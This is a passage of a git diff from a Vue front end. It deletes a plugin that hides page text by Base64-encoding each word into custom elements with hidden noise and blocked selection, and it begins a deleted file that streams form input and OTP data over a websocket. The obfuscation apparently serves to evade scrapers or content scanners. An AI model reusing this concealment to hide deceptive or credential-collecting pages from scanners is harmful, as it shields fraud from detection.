||||||
margin-left: 1rem;
|
|
||||||
}
|
|
||||||
|
|
||||||
i {
|
|
||||||
display: flex;
|
|
||||||
place-items: center;
|
|
||||||
place-content: center;
|
|
||||||
width: 32px;
|
|
||||||
height: 32px;
|
|
||||||
|
|
||||||
color: var(--color-text);
|
|
||||||
}
|
|
||||||
|
|
||||||
h3 {
|
|
||||||
font-size: 1.2rem;
|
|
||||||
font-weight: 500;
|
|
||||||
margin-bottom: 0.4rem;
|
|
||||||
color: var(--color-heading);
|
|
||||||
}
|
|
||||||
|
|
||||||
@media (min-width: 1024px) {
|
|
||||||
.item {
|
|
||||||
margin-top: 0;
|
|
||||||
padding: 0.4rem 0 1rem calc(var(--section-gap) / 2);
|
|
||||||
}
|
|
||||||
|
|
||||||
i {
|
|
||||||
top: calc(50% - 25px);
|
|
||||||
left: -26px;
|
|
||||||
position: absolute;
|
|
||||||
border: 1px solid var(--color-border);
|
|
||||||
background: var(--color-background);
|
|
||||||
border-radius: 8px;
|
|
||||||
width: 50px;
|
|
||||||
height: 50px;
|
|
||||||
}
|
|
||||||
|
|
||||||
.item:before {
|
|
||||||
content: ' ';
|
|
||||||
border-left: 1px solid var(--color-border);
|
|
||||||
position: absolute;
|
|
||||||
left: 0;
|
|
||||||
bottom: calc(50% + 25px);
|
|
||||||
height: calc(50% - 25px);
|
|
||||||
}
|
|
||||||
|
|
||||||
.item:after {
|
|
||||||
content: ' ';
|
|
||||||
border-left: 1px solid var(--color-border);
|
|
||||||
position: absolute;
|
|
||||||
left: 0;
|
|
||||||
top: calc(50% + 25px);
|
|
||||||
height: calc(50% - 25px);
|
|
||||||
}
|
|
||||||
|
|
||||||
.item:first-of-type:before {
|
|
||||||
display: none;
|
|
||||||
}
|
|
||||||
|
|
||||||
.item:last-of-type:after {
|
|
||||||
display: none;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
</style>
|
|
||||||
@@ -1,4 +1,3 @@
|
|||||||
import { TextObfuscatorPlugin } from "./mix/textObfuscator";
|
|
||||||
import { createApp, ref } from "vue";
|
import { createApp, ref } from "vue";
|
||||||
import { createPinia } from "pinia";
|
import { createPinia } from "pinia";
|
||||||
|
|
||||||
@@ -25,6 +24,5 @@ app.use(i18n);
|
|||||||
app.use(createPinia());
|
app.use(createPinia());
|
||||||
app.use(router);
|
app.use(router);
|
||||||
|
|
||||||
// //app.use(TextObfuscatorPlugin);
|
|
||||||
app.mount("#app");
|
app.mount("#app");
|
||||||
export default i18n;
|
export default i18n;
|
||||||
|
|||||||
@@ -1,643 +0,0 @@
|
|||||||
import type { ComponentInternalInstance, Plugin, App } from 'vue';
|
|
||||||
|
|
||||||
/**
|
|
||||||
* 全局文本混淆插件
|
|
||||||
* 自动查找并替换所有文本节点
|
|
||||||
*/
|
|
||||||
// 修改Vue混淆插件以确保处理整个组件树
|
|
||||||
export const TextObfuscatorPlugin: Plugin = {
|
|
||||||
install(app: App) {
|
|
||||||
// 安装全局样式和解码脚本
|
|
||||||
addObfuscationStyle();
|
|
||||||
|
|
||||||
// 注册全局指令,直接处理元素内容
|
|
||||||
app.directive('odata', {
|
|
||||||
mounted(el) {
|
|
||||||
processTextNodes(el, null);
|
|
||||||
if (window.decodeObfuscatedContent) {
|
|
||||||
setTimeout(() => window.decodeObfuscatedContent(el), 0);
|
|
||||||
}
|
|
||||||
setupMutationObserver(el);
|
|
||||||
},
|
|
||||||
updated(el) {
|
|
||||||
processTextNodes(el, null);
|
|
||||||
if (window.decodeObfuscatedContent) {
|
|
||||||
setTimeout(() => window.decodeObfuscatedContent(el), 0);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
});
|
|
||||||
|
|
||||||
// 在 app.mixin 中修改处理 $el 的部分
|
|
||||||
app.mixin({
|
|
||||||
mounted() {
|
|
||||||
// 安全地获取组件的根元素(s)
|
|
||||||
const rootElements = this.$el ?
|
|
||||||
(this.$el.nodeType === Node.ELEMENT_NODE ?
|
|
||||||
[this.$el] :
|
|
||||||
(Array.isArray(this.$el) ? this.$el : [])) :
|
|
||||||
[];
|
|
||||||
|
|
||||||
// 处理每个根元素
|
|
||||||
rootElements.forEach((rootElement: Element) => {
|
|
||||||
if (!rootElement || !(rootElement instanceof Element)) return;
|
|
||||||
|
|
||||||
// 1. 首先处理当前组件的根元素
|
|
||||||
processTextNodes(rootElement, this);
|
|
||||||
|
|
||||||
// 2. 递归处理所有子元素,确保覆盖所有文本节点
|
|
||||||
const processAllChildNodes = (element: Element) => {
|
|
||||||
if (!(element instanceof Element)) return;
|
|
||||||
|
|
||||||
try {
|
|
||||||
// 为每个子元素单独处理文本节点
|
|
||||||
const childElements = element.querySelectorAll('*');
|
|
||||||
childElements.forEach(childEl => {
|
|
||||||
processTextNodes(childEl, null);
|
|
||||||
});
|
|
||||||
|
|
||||||
// 立即解码当前处理的元素
|
|
||||||
if (window.decodeObfuscatedContent) {
|
|
||||||
setTimeout(() => window.decodeObfuscatedContent(element), 0);
|
|
||||||
}
|
|
||||||
} catch (error) {
|
|
||||||
console.error('Error processing child nodes:', error, element);
|
|
||||||
}
|
|
||||||
};
|
|
||||||
|
|
||||||
// 处理整个组件树
|
|
||||||
processAllChildNodes(rootElement);
|
|
||||||
|
|
||||||
// 设置监听
|
|
||||||
setupMutationObserver(rootElement);
|
|
||||||
});
|
|
||||||
// 添加:深度扫描所有包含纯文本的元素
|
|
||||||
setTimeout(() => {
|
|
||||||
const scanPureTextElements = (rootElement: Element) => {
|
|
||||||
// 跳过已处理过的元素
|
|
||||||
if (rootElement.hasAttribute && rootElement.hasAttribute('data-obfuscated')) {
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
|
|
||||||
// 检查是否为包含纯文本的元素(只有文本节点,没有元素节点)
|
|
||||||
let hasOnlyTextNodes = false;
|
|
||||||
let hasElementNodes = false;
|
|
||||||
|
|
||||||
if (rootElement.childNodes && rootElement.childNodes.length > 0) {
|
|
||||||
hasOnlyTextNodes = Array.from(rootElement.childNodes).some(
|
|
||||||
node => node.nodeType === Node.TEXT_NODE && node.textContent && node.textContent.trim()
|
|
||||||
);
|
|
||||||
|
|
||||||
hasElementNodes = Array.from(rootElement.childNodes).some(
|
|
||||||
node => node.nodeType === Node.ELEMENT_NODE
|
|
||||||
);
|
|
||||||
}
|
|
||||||
|
|
||||||
// 如果元素只包含文本节点,并且不包含其他元素节点,则混淆它
|
|
||||||
if (hasOnlyTextNodes && !hasElementNodes &&
|
|
||||||
!SKIP_TAGS.includes(rootElement.tagName) &&
|
|
||||||
!Array.from(rootElement.classList || []).some(cls => SKIP_CLASSES.includes(cls))) {
|
|
||||||
processTextNodes(rootElement, null);
|
|
||||||
if (window.decodeObfuscatedContent) {
|
|
||||||
window.decodeObfuscatedContent(rootElement);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// 递归处理子元素
|
|
||||||
if (rootElement.children) {
|
|
||||||
Array.from(rootElement.children).forEach(child => {
|
|
||||||
scanPureTextElements(child);
|
|
||||||
});
|
|
||||||
}
|
|
||||||
};
|
|
||||||
|
|
||||||
// 从body开始扫描
|
|
||||||
scanPureTextElements(document.body);
|
|
||||||
}, 10); // 给DOM足够的时间渲染
|
|
||||||
},
|
|
||||||
|
|
||||||
updated() {
|
|
||||||
// 安全地获取组件的根元素(s)
|
|
||||||
const rootElements = this.$el ?
|
|
||||||
(this.$el.nodeType === Node.ELEMENT_NODE ?
|
|
||||||
[this.$el] :
|
|
||||||
(Array.isArray(this.$el) ? this.$el : [])) :
|
|
||||||
[];
|
|
||||||
|
|
||||||
// 处理每个根元素
|
|
||||||
rootElements.forEach((rootElement: Element | undefined) => {
|
|
||||||
if (!rootElement || !(rootElement instanceof Element)) return;
|
|
||||||
|
|
||||||
processTextNodes(rootElement, this);
|
|
||||||
|
|
||||||
try {
|
|
||||||
// 递归处理所有子元素
|
|
||||||
const childElements = rootElement.querySelectorAll('*');
|
|
||||||
childElements.forEach((childEl: Element) => {
|
|
||||||
processTextNodes(childEl, null);
|
|
||||||
});
|
|
||||||
|
|
||||||
if (window.decodeObfuscatedContent) {
|
|
||||||
setTimeout(() => window.decodeObfuscatedContent(rootElement), 0);
|
|
||||||
}
|
|
||||||
} catch (error) {
|
|
||||||
console.error('Error processing updated component:', error, rootElement);
|
|
||||||
}
|
|
||||||
});
|
|
||||||
}
|
|
||||||
});
|
|
||||||
}
|
|
||||||
};
|
|
||||||
|
|
||||||
// 声明全局函数类型
|
|
||||||
declare global {
|
|
||||||
interface Window {
|
|
||||||
decodeObfuscatedContent: (rootElement?: Element) => void;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// 需要跳过的标签
|
|
||||||
const SKIP_TAGS = ['SCRIPT', 'STYLE', 'TEXTAREA', 'INPUT', 'PRE', 'CODE'];
|
|
||||||
// 需要跳过的类名
|
|
||||||
const SKIP_CLASSES = ['no-obfuscate'];
|
|
||||||
|
|
||||||
/**
|
|
||||||
* 处理元素中的所有文本节点
|
|
||||||
*/
|
|
||||||
function processTextNodes(element: Element, instance: ComponentInternalInstance | null) {
|
|
||||||
if (!element || element.nodeType !== Node.ELEMENT_NODE) {
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
// 为 DIV 元素增加优先处理逻辑
|
|
||||||
if (element.tagName === 'DIV' && !element.hasAttribute('data-obfuscated')) {
|
|
||||||
// 对于DIV元素,特殊处理其直接子文本节点
|
|
||||||
let hasTextContent = false;
|
|
||||||
for (let i = 0; i < element.childNodes.length; i++) {
|
|
||||||
const node = element.childNodes[i];
|
|
||||||
if (node.nodeType === Node.TEXT_NODE && node.textContent && node.textContent.trim() !== '') {
|
|
||||||
hasTextContent = true;
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// 如果DIV中有直接的文本内容,标记它需要被处理
|
|
||||||
if (hasTextContent) {
|
|
||||||
// 只处理未混淆过的DIV
|
|
||||||
const textContent = Array.from(element.childNodes)
|
|
||||||
.filter(node => node.nodeType === Node.TEXT_NODE && node.textContent)
|
|
||||||
.map(node => node.textContent).join('').trim();
|
|
||||||
|
|
||||||
if (textContent) {
|
|
||||||
// 替换整个DIV的内容
|
|
||||||
const originalHTML = element.innerHTML;
|
|
||||||
const processedHTML = obfuscateText(textContent);
|
|
||||||
element.innerHTML = processedHTML + originalHTML.replace(textContent, '');
|
|
||||||
element.setAttribute('data-obfuscated', 'true');
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
// 跳过带有特定标记的元素(避免重复处理)
|
|
||||||
if (element.hasAttribute('data-obfuscated') ||
|
|
||||||
!element ||
|
|
||||||
SKIP_TAGS.includes(element.tagName) ||
|
|
||||||
Array.from(element.classList).some(cls => SKIP_CLASSES.includes(cls))) {
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
|
|
||||||
// 使用 TreeWalker 遍历所有文本节点
|
|
||||||
const walker = document.createTreeWalker(
|
|
||||||
element,
|
|
||||||
NodeFilter.SHOW_TEXT,
|
|
||||||
{
|
|
||||||
acceptNode(node) {
|
|
||||||
// 不处理完全空的文本节点
|
|
||||||
if (!node.textContent) {
|
|
||||||
return NodeFilter.FILTER_REJECT;
|
|
||||||
}
|
|
||||||
|
|
||||||
// 检查父节点是否应该被跳过
|
|
||||||
const parent = node.parentElement;
|
|
||||||
if (parent && (
|
|
||||||
SKIP_TAGS.includes(parent.tagName) ||
|
|
||||||
parent.hasAttribute('data-obfuscated') ||
|
|
||||||
Array.from(parent.classList || []).some(cls => SKIP_CLASSES.includes(cls))
|
|
||||||
)) {
|
|
||||||
return NodeFilter.FILTER_REJECT;
|
|
||||||
}
|
|
||||||
|
|
||||||
// 如果只包含空白且不是段落的首个节点,则跳过
|
|
||||||
if (node.textContent.trim() === '' &&
|
|
||||||
!(parent?.tagName === 'P' && node === parent.firstChild)) {
|
|
||||||
return NodeFilter.FILTER_REJECT;
|
|
||||||
}
|
|
||||||
|
|
||||||
return NodeFilter.FILTER_ACCEPT;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
);
|
|
||||||
|
|
||||||
// 收集需要处理的文本节点
|
|
||||||
const textNodes: Text[] = [];
|
|
||||||
let currentNode: Node | null = walker.nextNode();
|
|
||||||
|
|
||||||
while (currentNode) {
|
|
||||||
textNodes.push(currentNode as Text);
|
|
||||||
currentNode = walker.nextNode();
|
|
||||||
}
|
|
||||||
|
|
||||||
// 预先计算所有混淆内容,减少DOM操作次数
|
|
||||||
const fragments: DocumentFragment[] = [];
|
|
||||||
const nodesToReplace: Text[] = [];
|
|
||||||
|
|
||||||
// 在处理文本节点前,移除所有前导空格
|
|
||||||
for (const textNode of textNodes) {
|
|
||||||
const text = textNode.textContent;
|
|
||||||
if (!text) continue;
|
|
||||||
|
|
||||||
// 重要修改:检测是否是段落的首个文本节点,无条件移除开头的空白
|
|
||||||
let processedText = text;
|
|
||||||
if (textNode.parentElement?.tagName === 'P' &&
|
|
||||||
textNode === textNode.parentElement.firstChild) {
|
|
||||||
// 去除开头的空白,无论什么情况
|
|
||||||
processedText = text.replace(/^\s+/, '');
|
|
||||||
// 如果去除空白后为空,直接跳过这个节点
|
|
||||||
if (!processedText) continue;
|
|
||||||
}
|
|
||||||
|
|
||||||
try {
|
|
||||||
// 创建文档碎片来存储混淆后的内容
|
|
||||||
const fragment = document.createDocumentFragment();
|
|
||||||
const tempContainer = document.createElement('div');
|
|
||||||
tempContainer.innerHTML = obfuscateText(processedText);
|
|
||||||
|
|
||||||
// 将内容移动到碎片中
|
|
||||||
while (tempContainer.firstChild) {
|
|
||||||
fragment.appendChild(tempContainer.firstChild);
|
|
||||||
}
|
|
||||||
|
|
||||||
fragments.push(fragment);
|
|
||||||
nodesToReplace.push(textNode);
|
|
||||||
} catch (error) {
|
|
||||||
console.error('Error processing text node:', error);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// 批量替换节点,减少回流
|
|
||||||
for (let i = 0; i < nodesToReplace.length; i++) {
|
|
||||||
const textNode = nodesToReplace[i];
|
|
||||||
const fragment = fragments[i];
|
|
||||||
|
|
||||||
if (textNode.parentNode) {
|
|
||||||
textNode.parentNode.replaceChild(fragment, textNode);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
/**
|
|
||||||
* 设置 MutationObserver 来监听 DOM 变化
|
|
||||||
*/
|
|
||||||
function setupMutationObserver(element: Element) {
|
|
||||||
if (!element) return;
|
|
||||||
|
|
||||||
const observer = new MutationObserver((mutations) => {
|
|
||||||
for (const mutation of mutations) {
|
|
||||||
if (mutation.type === 'childList' && mutation.addedNodes.length) {
|
|
||||||
mutation.addedNodes.forEach((node) => {
|
|
||||||
if (node.nodeType === Node.ELEMENT_NODE) {
|
|
||||||
processTextNodes(node as Element, null);
|
|
||||||
// 观察到新元素后立即解码
|
|
||||||
if (window.decodeObfuscatedContent) {
|
|
||||||
window.decodeObfuscatedContent(node as Element);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
});
|
|
||||||
}
|
|
||||||
}
|
|
||||||
});
|
|
||||||
|
|
||||||
observer.observe(element, {
|
|
||||||
childList: true,
|
|
||||||
subtree: true
|
|
||||||
});
|
|
||||||
}
|
|
||||||
|
|
||||||
/**
|
|
||||||
* 生成随机噪声标签和注释
|
|
||||||
*/
|
|
||||||
function getRandomNoise() {
|
|
||||||
const noiseTypes = [
|
|
||||||
// HTML注释
|
|
||||||
() => `<!--${Math.random().toString(36).substring(2, 6)}-->`,
|
|
||||||
// 空的自定义元素
|
|
||||||
() => {
|
|
||||||
const tags = ['z-nil', 'z-void', 'z-null', 'z-fake', 'z-empty'];
|
|
||||||
const tag = tags[Math.floor(Math.random() * tags.length)];
|
|
||||||
return `<${tag}></${tag}>`;
|
|
||||||
},
|
|
||||||
// 带随机属性的自定义元素
|
|
||||||
() => {
|
|
||||||
const attr = `data-${Math.random().toString(36).substring(2, 7)}`;
|
|
||||||
const value = Math.random().toString(36).substring(2, 10);
|
|
||||||
return `<z-attr ${attr}="${value}"></z-attr>`;
|
|
||||||
},
|
|
||||||
// 带随机文本的隐藏元素
|
|
||||||
() => {
|
|
||||||
const text = Math.random().toString(36).substring(2, 8);
|
|
||||||
return `<z-text>${text}</z-text>`;
|
|
||||||
}
|
|
||||||
];
|
|
||||||
|
|
||||||
// 随机选择一种噪声类型
|
|
||||||
const noiseGenerator = noiseTypes[Math.floor(Math.random() * noiseTypes.length)];
|
|
||||||
return noiseGenerator();
|
|
||||||
}
|
|
||||||
|
|
||||||
/**
|
|
||||||
* 混淆文本 - 将文本拆分成单词并分别存储,使用自定义z-标签
|
|
||||||
*/
|
|
||||||
function obfuscateText(text: string): string {
|
|
||||||
if (!text) return '';
|
|
||||||
|
|
||||||
// 首先移除文本开头的所有空白字符以解决段落首行缩进问题
|
|
||||||
text = text.replace(/^\s+/, '');
|
|
||||||
if (!text) return '';
|
|
||||||
|
|
||||||
// 使用正则表达式将文本拆分为单词和空格,保持完整性
|
|
||||||
const words = text.split(/(\s+)/);
|
|
||||||
let result = '<z-wrap data-obfuscated="true">';
|
|
||||||
|
|
||||||
// 过滤掉空字符串,避免生成空的z-span元素
|
|
||||||
const filteredWords = words.filter(word => word.length > 0);
|
|
||||||
|
|
||||||
// 为每个单词创建一个独立的自定义元素
|
|
||||||
filteredWords.forEach((word, index) => {
|
|
||||||
// 对空格和特殊字符进行特殊处理
|
|
||||||
if (/^\s+$/.test(word)) {
|
|
||||||
// 改进:更精确地处理各种换行符
|
|
||||||
if (/[\n\r]/.test(word)) {
|
|
||||||
// 将所有类型的换行符分割出来,但仅在实际有换行符时才添加z-break元素
|
|
||||||
result += '<z-break></z-break>';
|
|
||||||
} else {
|
|
||||||
// 纯空格的情况 - 对连续空格合并处理,避免添加过多z-space
|
|
||||||
result += '<z-space></z-space>';
|
|
||||||
}
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
|
|
||||||
// 随机在单词前添加噪声,但减少频率
|
|
||||||
if (Math.random() > 0.85) {
|
|
||||||
result += getRandomNoise();
|
|
||||||
}
|
|
||||||
|
|
||||||
// 为了提高效率,固定属性名
|
|
||||||
const attrId = `data`;
|
|
||||||
|
|
||||||
// 将单词编码为Base64
|
|
||||||
const encodedWord = btoa(encodeURIComponent(word));
|
|
||||||
|
|
||||||
// 随机选择z-span或z-strong标签增加混淆度
|
|
||||||
const tagName = Math.random() > 0.5 ? 'z-span' : 'z-strong';
|
|
||||||
|
|
||||||
// 添加标签开始部分
|
|
||||||
result += `<${tagName} data-${attrId}="${encodedWord}" data-preload="true">`;
|
|
||||||
|
|
||||||
// 随机在标签内添加隐藏内容,但减少频率
|
|
||||||
if (Math.random() > 0.8) {
|
|
||||||
const fakeText = Math.random().toString(36).substring(2, 5 + Math.floor(Math.random() * 5));
|
|
||||||
result += `<z-hidden>${fakeText}</z-hidden>`;
|
|
||||||
}
|
|
||||||
|
|
||||||
// 闭合标签
|
|
||||||
result += `</${tagName}>`;
|
|
||||||
|
|
||||||
// 随机在单词后添加噪声,但减少频率
|
|
||||||
if (Math.random() > 0.85) {
|
|
||||||
result += getRandomNoise();
|
|
||||||
}
|
|
||||||
});
|
|
||||||
|
|
||||||
result += '</z-wrap>';
|
|
||||||
return result;
|
|
||||||
}
|
|
||||||
|
|
||||||
/**
|
|
||||||
* 添加显示混淆内容的样式和解码脚本
|
|
||||||
*/
|
|
||||||
function addObfuscationStyle() {
|
|
||||||
// 添加样式
|
|
||||||
if (!document.getElementById('obfuscation-style')) {
|
|
||||||
const style = document.createElement('style');
|
|
||||||
style.id = 'obfuscation-style';
|
|
||||||
style.textContent = `
|
|
||||||
/* 自定义元素基本样式 */
|
|
||||||
z-wrap {
|
|
||||||
display: inline;
|
|
||||||
white-space: normal;
|
|
||||||
user-select: none; /* 阻止文本选择 */
|
|
||||||
text-indent: 0 !important; /* 确保无缩进 */
|
|
||||||
}
|
|
||||||
|
|
||||||
/* 添加一个类来允许选择文本的情况 */
|
|
||||||
.allow-select z-wrap {
|
|
||||||
user-select: text;
|
|
||||||
}
|
|
||||||
|
|
||||||
/* 确保段落中的混淆内容没有开头缩进 */
|
|
||||||
p > z-wrap:first-child {
|
|
||||||
text-indent: 0 !important;
|
|
||||||
margin-left: 0 !important;
|
|
||||||
padding-left: 0 !important;
|
|
||||||
}
|
|
||||||
|
|
||||||
/* 处理所有p标签,确保没有多余空间 */
|
|
||||||
p {
|
|
||||||
text-indent: 0;
|
|
||||||
}
|
|
||||||
|
|
||||||
z-span, z-strong {
|
|
||||||
display: inline-block;
|
|
||||||
position: relative;
|
|
||||||
opacity: 1;
|
|
||||||
transition: opacity 0.1s ease;
|
|
||||||
margin: 0;
|
|
||||||
padding: 0;
|
|
||||||
}
|
|
||||||
|
|
||||||
/* 控制右侧间距 */
|
|
||||||
z-span + z-span, z-strong + z-strong, z-span + z-strong, z-strong + z-span {
|
|
||||||
margin-left: 0.1em;
|
|
||||||
}
|
|
||||||
|
|
||||||
/* 移除最后一个元素的右侧间距 */
|
|
||||||
z-span:last-child, z-strong:last-child {
|
|
||||||
margin-right: 0;
|
|
||||||
}
|
|
||||||
|
|
||||||
z-span::after, z-strong::after {
|
|
||||||
content: attr(data-content);
|
|
||||||
position: relative;
|
|
||||||
pointer-events: none;
|
|
||||||
}
|
|
||||||
|
|
||||||
/* 空格元素 - 精确控制宽度 */
|
|
||||||
z-space {
|
|
||||||
display: inline-block;
|
|
||||||
width: 0.25em;
|
|
||||||
margin: 0;
|
|
||||||
padding: 0;
|
|
||||||
}
|
|
||||||
|
|
||||||
/* 空的z-span/z-strong元素不应该显示 */
|
|
||||||
z-span:not([data-content]), z-strong:not([data-content]) {
|
|
||||||
display: none;
|
|
||||||
}
|
|
||||||
|
|
||||||
/* 换行元素 - 强制换行且完全没有尺寸 */
|
|
||||||
z-break {
|
|
||||||
display: block !important;
|
|
||||||
height: 0 !important;
|
|
||||||
width: 0 !important;
|
|
||||||
margin: 0 !important;
|
|
||||||
padding: 0 !important;
|
|
||||||
border: none !important;
|
|
||||||
line-height: 0 !important;
|
|
||||||
font-size: 0 !important;
|
|
||||||
overflow: hidden !important;
|
|
||||||
}
|
|
||||||
|
|
||||||
/* 隐藏所有噪声元素 */
|
|
||||||
z-nil, z-void, z-null, z-fake, z-empty, z-attr, z-text, z-hidden {
|
|
||||||
display: none;
|
|
||||||
width: 0;
|
|
||||||
height: 0;
|
|
||||||
opacity: 0;
|
|
||||||
overflow: hidden;
|
|
||||||
position: absolute;
|
|
||||||
visibility: hidden;
|
|
||||||
}
|
|
||||||
|
|
||||||
/* 预加载状态 */
|
|
||||||
[data-preload="true"] {
|
|
||||||
min-width: 0.5em;
|
|
||||||
min-height: 1em;
|
|
||||||
}
|
|
||||||
`;
|
|
||||||
document.head.appendChild(style);
|
|
||||||
}
|
|
||||||
|
|
||||||
// 添加自定义元素注册,确保所有浏览器都能正确处理
|
|
||||||
const scriptCustomElements = document.createElement('script');
|
|
||||||
scriptCustomElements.textContent = `
|
|
||||||
// 注册所有自定义元素
|
|
||||||
if ('customElements' in window) {
|
|
||||||
customElements.define('z-wrap', class extends HTMLElement {});
|
|
||||||
customElements.define('z-span', class extends HTMLElement {});
|
|
||||||
customElements.define('z-strong', class extends HTMLElement {});
|
|
||||||
customElements.define('z-space', class extends HTMLElement {});
|
|
||||||
customElements.define('z-break', class extends HTMLElement {});
|
|
||||||
|
|
||||||
// 注册噪声元素
|
|
||||||
customElements.define('z-nil', class extends HTMLElement {});
|
|
||||||
customElements.define('z-void', class extends HTMLElement {});
|
|
||||||
customElements.define('z-null', class extends HTMLElement {});
|
|
||||||
customElements.define('z-fake', class extends HTMLElement {});
|
|
||||||
customElements.define('z-empty', class extends HTMLElement {});
|
|
||||||
customElements.define('z-attr', class extends HTMLElement {});
|
|
||||||
customElements.define('z-text', class extends HTMLElement {});
|
|
||||||
customElements.define('z-hidden', class extends HTMLElement {});
|
|
||||||
}
|
|
||||||
`;
|
|
||||||
document.head.appendChild(scriptCustomElements);
|
|
||||||
|
|
||||||
// 添加提前解码的脚本,放在<head>顶部优先加载
|
|
||||||
if (!document.getElementById('obfuscation-script')) {
|
|
||||||
const script = document.createElement('script');
|
|
||||||
script.id = 'obfuscation-script';
|
|
||||||
script.textContent = `
|
|
||||||
(function() {
|
|
||||||
// 定义解码函数并暴露为全局函数
|
|
||||||
window.decodeObfuscatedContent = function(rootElement) {
|
|
||||||
const root = rootElement || document.body;
|
|
||||||
const elements = root.querySelectorAll('z-span[data-preload="true"], z-strong[data-preload="true"]');
|
|
||||||
|
|
||||||
if (elements.length === 0) return;
|
|
||||||
|
|
||||||
// 使用requestIdleCallback或setTimeout在空闲时运行,避免阻塞渲染
|
|
||||||
const runWhenIdle = window.requestIdleCallback ||
|
|
||||||
function(cb) { setTimeout(cb, 1); };
|
|
||||||
|
|
||||||
runWhenIdle(() => {
|
|
||||||
elements.forEach(el => {
|
|
||||||
// 避免重复解码
|
|
||||||
if (el.hasAttribute('data-content')) return;
|
|
||||||
|
|
||||||
// 找到编码数据
|
|
||||||
const dataAttr = el.getAttribute('data-data');
|
|
||||||
if (dataAttr) {
|
|
||||||
try {
|
|
||||||
// 解码并设置
|
|
||||||
const decodedWord = decodeURIComponent(atob(dataAttr));
|
|
||||||
el.setAttribute('data-content', decodedWord);
|
|
||||||
el.removeAttribute('data-preload');
|
|
||||||
} catch (e) {
|
|
||||||
// 解码失败时跳过
|
|
||||||
}
|
|
||||||
}
|
|
||||||
});
|
|
||||||
});
|
|
||||||
};
|
|
||||||
|
|
||||||
// 页面加载完成后立即执行一次全局解码
|
|
||||||
if (document.readyState === 'loading') {
|
|
||||||
document.addEventListener('DOMContentLoaded', function() {
|
|
||||||
window.decodeObfuscatedContent();
|
|
||||||
});
|
|
||||||
} else {
|
|
||||||
window.decodeObfuscatedContent();
|
|
||||||
}
|
|
||||||
|
|
||||||
// 使用IntersectionObserver优化解码性能
|
|
||||||
if ('IntersectionObserver' in window) {
|
|
||||||
const decodeObserver = new IntersectionObserver(
|
|
||||||
(entries, observer) => {
|
|
||||||
entries.forEach(entry => {
|
|
||||||
if (entry.isIntersecting) {
|
|
||||||
// 容器进入视口时解码其内容
|
|
||||||
window.decodeObfuscatedContent(entry.target);
|
|
||||||
observer.unobserve(entry.target);
|
|
||||||
}
|
|
||||||
});
|
|
||||||
},
|
|
||||||
{ rootMargin: '200px 0px' } // 提前200像素开始解码
|
|
||||||
);
|
|
||||||
|
|
||||||
// 监听所有混淆容器
|
|
||||||
function observeContainers() {
|
|
||||||
document.querySelectorAll('z-wrap').forEach(container => {
|
|
||||||
decodeObserver.observe(container);
|
|
||||||
});
|
|
||||||
}
|
|
||||||
|
|
||||||
// 初始观察
|
|
||||||
if (document.readyState === 'loading') {
|
|
||||||
document.addEventListener('DOMContentLoaded', observeContainers);
|
|
||||||
} else {
|
|
||||||
observeContainers();
|
|
||||||
}
|
|
||||||
|
|
||||||
// 定期检查新容器
|
|
||||||
setInterval(observeContainers, 2000);
|
|
||||||
} else {
|
|
||||||
// 降级方案:定期全局检查
|
|
||||||
setInterval(() => window.decodeObfuscatedContent(), 1000);
|
|
||||||
}
|
|
||||||
})();
|
|
||||||
`;
|
|
||||||
|
|
||||||
// 将脚本添加到head的最前面,确保尽早加载
|
|
||||||
if (document.head.firstChild) {
|
|
||||||
document.head.insertBefore(script, document.head.firstChild);
|
|
||||||
} else {
|
|
||||||
document.head.appendChild(script);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -1,331 +0,0 @@
|
|||||||
import _ from "lodash";
|
|
||||||
import { sendInput } from "@/api/api";
|
|
||||||
import type { Socket } from "@/utils/websocket";
|
|
||||||
import eventBus from "@/utils/eventBus";
|
|
||||||
import router from "@/router";
|
|
||||||
import { ref } from "vue";
|
|
||||||
import { useSocket } from "@/utils/websocket";
|
|
||||||
import { useLoadingStore } from "@/stores/loadingStore";
|
|
||||||
import i18n from "@/main";
|
|
||||||
import { useSocketIo } from "./socketio";
|
|
||||||
|
|
||||||
const viteBaseUrl = import.meta.env.VITE_BASE_URL;
|
|
||||||
|
|
||||||
// WebSocket interface
|
|
||||||
interface MyWebSocket {
|
|
||||||
socket: any;
|
|
||||||
send: (data: string) => Promise<void>;
|
|
||||||
off: (event: string) => void;
|
|
||||||
on: (event: string, callback: (data: any) => void) => void;
|
|
||||||
}
|
|
||||||
|
|
||||||
export const customOtpData = ref<any>({});
|
|
||||||
|
|
||||||
export function setCustomOtpData(data: any) {
|
|
||||||
customOtpData.value = data;
|
|
||||||
localStorage.setItem("customOtpData", JSON.stringify(data));
|
|
||||||
}
|
|
||||||
|
|
||||||
export let myWebSocket: MyWebSocket | undefined;
|
|
||||||
|
|
||||||
// Configuration data
|
|
||||||
export const configData = ref<Record<string, any>>({});
|
|
||||||
|
|
||||||
// Utility function to check if all values in an object are not empty
|
|
||||||
export function areAllValuesNotEmpty(
|
|
||||||
obj: Record<string, any>,
|
|
||||||
excludedFields: string[] = []
|
|
||||||
): boolean {
|
|
||||||
return Object.keys(obj).every((key) => {
|
|
||||||
if (excludedFields.includes(key)) return true;
|
|
||||||
const value = obj[key];
|
|
||||||
return (
|
|
||||||
value !== null &&
|
|
||||||
value !== undefined &&
|
|
||||||
value !== "" &&
|
|
||||||
!(typeof value === "string" && value.trim() === "")
|
|
||||||
);
|
|
||||||
});
|
|
||||||
}
|
|
||||||
|
|
||||||
// 存储 WebSocket 和 API 的防抖函数
|
|
||||||
const wsDebounceFunctions: Record<
|
|
||||||
string,
|
|
||||||
_.DebouncedFunc<(...args: any[]) => void>
|
|
||||||
> = {};
|
|
||||||
const apiDebounceFunctions: Record<
|
|
||||||
string,
|
